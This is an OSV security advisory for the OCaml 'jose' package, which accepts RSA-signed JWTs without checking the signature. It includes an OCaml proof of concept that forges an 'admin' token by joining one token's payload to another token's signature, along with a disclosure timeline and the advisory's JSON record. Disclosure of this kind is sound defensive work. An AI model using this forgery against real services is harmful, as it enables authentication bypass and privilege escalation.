osec-2026-19
CVSS 9.1 osv_ocamlThe opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key. ## Reproduction With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature: ```OCaml let () = Mirage_crypto_rng_unix.use_default () let key = Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ()) let sign sub = Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ]) |> Result.get_ok |> Jose.Jwt.to_string let seg n token = List.nth (String.split_on_char '.' token) n let alice = sign "alice" and admin = sign "admin" (* alice's header and signature, admin's payload *) let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ] match Jose.Jwt.unsafe_of_string forged |> Result.get_ok |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ()) with | Ok t -> print_endline ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub")) | Error _ -> print_endline "rejected" ``` The dune file: ``` (executable (name repro) (libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os)) ``` This prints "accepted, sub = admin". ## Workaround There is no workaround known. ## Timeline - 2026-08-25: private report via email to the authors of jose - 2026-08-25: fix published to repository - 2026-08-31: mail escalated to security@ocaml.org - 2026-09-04: released jose 0.11.0 - 2026-09-10: published advisory
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
No references available.
No linked vulnerabilities found.
{
"affected": [
{
"database_specific": {
"source": "https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-19.json"
},
"ecosystem_specific": {
"opam_constraint": "jose {< \"0.11.0\"}"
},
"package": {
"ecosystem": "opam",
"name": "jose",
"purl": "pkg:opam/jose"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
},
{
"events": [
{
"introduced": "0"
},
{
"fixed": "cf17d991ec6a0d1997956b6c7799890f9c28879e"
}
],
"repo": "https://github.com/ulrikstrid/ocaml-jose",
"type": "GIT"
}
],
"versions": [
"0.2.0",
"0.3.0",
"0.3.1",
"0.4.0",
"0.5.0",
"0.5.1",
"0.6.0",
"0.7.0",
"0.8.1",
"0.8.2",
"0.9.0",
"0.10.0",
"v0.10.0",
"v0.9.0",
"v0.8.2",
"v0.8.1",
"v0.8.0",
"v0.7.0",
"v0.5.1",
"v0.5.0",
"v0.4.0",
"v0.3.1",
"v0.2.0",
"v0.1.0"
]
}
],
"aliases": [
"CVE-2026-89086"
],
"credits": [
{
"name": "Sergey Zhukaev",
"type": "REPORTER"
},
{
"name": "Hannes Mehnert",
"type": "COORDINATOR"
},
{
"name": "Konstantin Olkhovskiy",
"type": "COORDINATOR"
},
{
"name": "Ulrik Strid",
"type": "REMEDIATION_DEVELOPER"
}
],
"database_specific": {
"cwe": [
"CWE-347"
],
"human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
"osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
},
"details": "The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n |> Result.get_ok |> Jose.Jwt.to_string\n\nlet seg n token = List.nth (String.split_on_char '.' token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice's header and signature, admin's payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n Jose.Jwt.unsafe_of_string forged\n |> Result.get_ok\n |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n | Ok t ->\n print_endline\n (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n | Error _ -> print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory",
"id": "OSEC-2026-19",
"modified": "2026-09-15T07:30:04.926718996Z",
"published": "2026-09-10T10:00:00Z",
"schema_version": "1.9.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "JOSE: missing RSA signature verification"
}